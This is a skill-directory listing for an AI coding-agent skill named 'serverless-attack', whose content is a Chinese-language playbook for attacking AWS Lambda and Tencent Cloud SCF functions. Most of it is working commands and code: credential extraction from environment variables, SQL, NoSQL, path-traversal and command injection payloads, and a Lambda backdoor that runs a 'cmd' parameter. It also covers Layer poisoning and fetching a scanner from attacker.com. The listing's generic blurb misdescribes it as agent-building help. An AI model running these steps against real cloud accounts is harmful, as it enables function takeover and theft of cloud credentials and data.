
Serverless Attack
- 25 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
serverless-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- serverless-attack
- AI & Agent Building
- AI-coding skill
Serverless Attack by the numbers
- 25 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,764 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill serverless-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 25 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Serverless/云函数攻击方法论
Serverless 函数运行在短暂的容器中,传统的持久化和横向移动思路不适用。攻击重点是:事件注入(输入篡改)、凭据提取(环境变量/临时 Token)、代码注入(修改函数代码)。
按云平台查阅详细命令
识别云平台后,加载对应 reference 获取完整命令:
- AWS Lambda → references/lambda-techniques.md
- 腾讯云 SCF → references/scf-techniques.md
Phase 0: 通用信息收集
不论哪个云平台,第一步都是枚举函数列表、获取函数详情(代码 + 配置 + 环境变量)。具体命令参见对应 reference。
Phase 1: 环境变量提取(最快获取凭据的方式)
开发者经常在环境变量中硬编码数据库密码、API Key、其他服务凭据。常见敏感变量名:
DB_PASSWORD,DATABASE_URL,MONGODB_URIAWS_ACCESS_KEY_ID(嵌套凭据)、TENCENTCLOUD_SECRET_IDSECRET_KEY,JWT_SECRET,API_KEYREDIS_URL,SMTP_PASSWORD
Phase 2: 函数代码分析
# 搜索硬编码凭据
grep -rn "password\|secret\|key\|token\|credential" lambda_code/
# 搜索不安全的输入处理
grep -rn "eval\|exec\|os.system\|subprocess\|pickle\|yaml.load" lambda_code/
# 搜索 SQL 拼接
grep -rn "format\|f'\|%s.*query\|execute" lambda_code/
# 检查依赖版本
cat lambda_code/requirements.txt # Python
cat lambda_code/package.json # Node.jsPhase 3: 事件注入
Serverless 函数通过"事件"触发,事件数据就是输入——如果函数没有正确校验事件数据,就可以注入。
3.1 API Gateway → Lambda/SCF 注入
API Gateway 将 HTTP 请求封装为事件传给函数:
{
"httpMethod": "POST",
"path": "/api/query",
"queryStringParameters": {"id": "1' OR '1'='1"},
"body": "{\"username\": {\"$ne\": \"\"}}",
"headers": {"X-Forwarded-For": "127.0.0.1"}
}常见注入点:
queryStringParameters→ SQL/NoSQL 注入body→ 反序列化/命令注入headers→ SSRF/日志注入pathParameters→ 路径遍历
3.2 OSS/COS/S3 触发器注入
对象存储触发器将文件信息作为事件:
{
"Records": [{
"s3": {
"bucket": {"name": "my-bucket"},
"object": {"key": "../../../etc/passwd"}
}
}]
}如果函数用 event['key'] 拼接文件路径做 open() → 路径遍历。 如果函数处理上传的文件内容(如 XML/图片/CSV)→ XXE/SSRF/命令注入。
3.3 消息队列触发器
SQS/CMQ/Kafka 消息作为事件传入:
{"Records": [{"body": "'; import os; os.system('id'); '"}]}Phase 4: 代码注入/覆盖
需要 UpdateFunctionCode 权限。具体命令参见对应云平台 reference。
核心思路:用恶意代码替换函数,让函数既执行原始功能又植入后门(如接受 cmd 参数执行命令)。
Layer 劫持(AWS Lambda 特有)
Lambda Layers 是共享的代码库,修改 Layer 可以影响所有使用它的函数。详见 references/lambda-techniques.md。
Phase 5: Runtime 环境利用
/tmp 目录利用
Serverless 函数的 /tmp 是唯一可写目录,且在"热启动"时会保留:
# 写入工具到 /tmp
curl -o /tmp/fscan http://attacker.com/fscan && chmod +x /tmp/fscan
# 如果函数有内网访问权限(VPC 中),可以用 /tmp 的工具做内网扫描
/tmp/fscan -h 172.16.0.0/16 -p 22,3306,6379决策树
发现 Serverless 函数
├── 识别云平台 → 加载对应 reference(lambda-techniques / scf-techniques)
├── 有 GetFunction 权限 → 下载代码 → 审计 → 找漏洞/凭据
├── 有 GetFunctionConfiguration 权限 → 读环境变量 → 提取凭据
├── 有 UpdateFunctionCode 权限 → 注入后门 → RCE
├── 有 Invoke 权限 → 构造恶意事件 → 事件注入
├── 只有 API Gateway 入口 → HTTP 请求层注入(SQLi/NoSQL/SSRF)
└── 无直接权限 → 通过 S3/COS 触发器上传恶意文件AWS Lambda 攻击详解
发现函数
aws lambda list-functions --region us-east-1
# 遍历所有 region
for r in us-east-1 us-west-2 eu-west-1 ap-northeast-1 ap-southeast-1; do
echo "=== $r ===" && aws lambda list-functions --region $r --query 'Functions[].FunctionName' 2>/dev/null
done获取函数详情
aws lambda get-function --function-name FUNC_NAME
aws lambda get-function-configuration --function-name FUNC_NAME环境变量提取
aws lambda get-function-configuration --function-name FUNC_NAME \
--query 'Environment.Variables' --output json
# 常见敏感变量名:
# DB_PASSWORD, DATABASE_URL, MONGODB_URI
# AWS_ACCESS_KEY_ID(嵌套凭据)
# SECRET_KEY, JWT_SECRET, API_KEY
# REDIS_URL, SMTP_PASSWORD下载代码
CODE_URL=$(aws lambda get-function --function-name FUNC_NAME \
--query 'Code.Location' --output text)
curl -o lambda_code.zip "$CODE_URL"
unzip lambda_code.zip -d lambda_code/代码注入/覆盖
# 用恶意代码替换函数(需要 UpdateFunctionCode 权限)
cat > /tmp/lambda_backdoor.py << 'EOF'
import os, json
def lambda_handler(event, context):
cmd = event.get('cmd', 'id')
output = os.popen(cmd).read()
return {'statusCode': 200, 'body': json.dumps({'output': output})}
EOF
cd /tmp && zip lambda_backdoor.zip lambda_backdoor.py
aws lambda update-function-code --function-name FUNC_NAME \
--zip-file fileb:///tmp/lambda_backdoor.zip修改环境变量
aws lambda update-function-configuration --function-name FUNC_NAME \
--environment '{"Variables":{"BACKDOOR_URL":"http://attacker.com/callback"}}'Layer 劫持
Lambda Layer version 是不可变快照;发布同名 Layer 只会创建新版本,不会自动影响仍绑定旧版本 ARN 的函数。要投毒目标函数,需要发布新 Layer version 后更新函数配置指向该版本。
# 列出函数使用的 Layers
aws lambda get-function-configuration --function-name FUNC_NAME --query 'Layers'
# 发布恶意 Layer 新版本(替换依赖库)
LAYER_ARN=$(aws lambda publish-layer-version --layer-name shared-lib \
--zip-file fileb://malicious_layer.zip \
--query 'LayerVersionArn' --output text)
# 将目标函数更新到新的 Layer version
aws lambda update-function-configuration --function-name FUNC_NAME \
--layers "$LAYER_ARN"临时凭据提取
每个 Lambda 运行时都有临时凭据(来自函数的执行角色):
import os
print(os.environ.get('AWS_ACCESS_KEY_ID'))
print(os.environ.get('AWS_SECRET_ACCESS_KEY'))
print(os.environ.get('AWS_SESSION_TOKEN'))这些凭据的权限就是函数执行角色的权限——可能比泄露的 AK/SK 权限更高。
腾讯云 SCF 攻击详解
发现函数
tccli scf ListFunctions --Namespace default --Limit 100
tccli scf ListNamespaces # 可能有多个命名空间获取函数详情
tccli scf GetFunction --FunctionName FUNC_NAME --Namespace default环境变量提取
tccli scf GetFunction --FunctionName FUNC_NAME \
--query 'Environment.Variables'
# 常见:TENCENTCLOUD_SECRET_ID, DB_HOST, DB_PASSWORD下载代码
# 代码在 GetFunction 响应中
tccli scf GetFunction --FunctionName FUNC_NAME --query 'Code'代码注入/覆盖
# 需要 UpdateFunctionCode 权限
tccli scf UpdateFunctionCode --FunctionName FUNC_NAME \
--Handler index.main_handler --CosBucketName xxx --CosObjectName code.zip修改环境变量
tccli scf UpdateFunctionConfiguration --FunctionName FUNC_NAME \
--Environment '{"Variables":[{"Key":"BACKDOOR","Value":"http://attacker.com"}]}'临时凭据提取
SCF 运行时同样有临时凭据:
import os
print(os.environ.get('TENCENTCLOUD_SECRET_ID'))
print(os.environ.get('TENCENTCLOUD_SECRET_KEY'))
print(os.environ.get('TENCENTCLOUD_TOKEN'))触发器利用
SCF 支持多种触发器(API Gateway、COS、CMQ、定时器),每种触发器的事件格式不同:
# 查看函数绑定的触发器
tccli scf ListTriggers --FunctionName FUNC_NAME --Namespace default
# COS 触发器 — 通过上传恶意文件触发
coscli cp malicious.xml cos://trigger-bucket/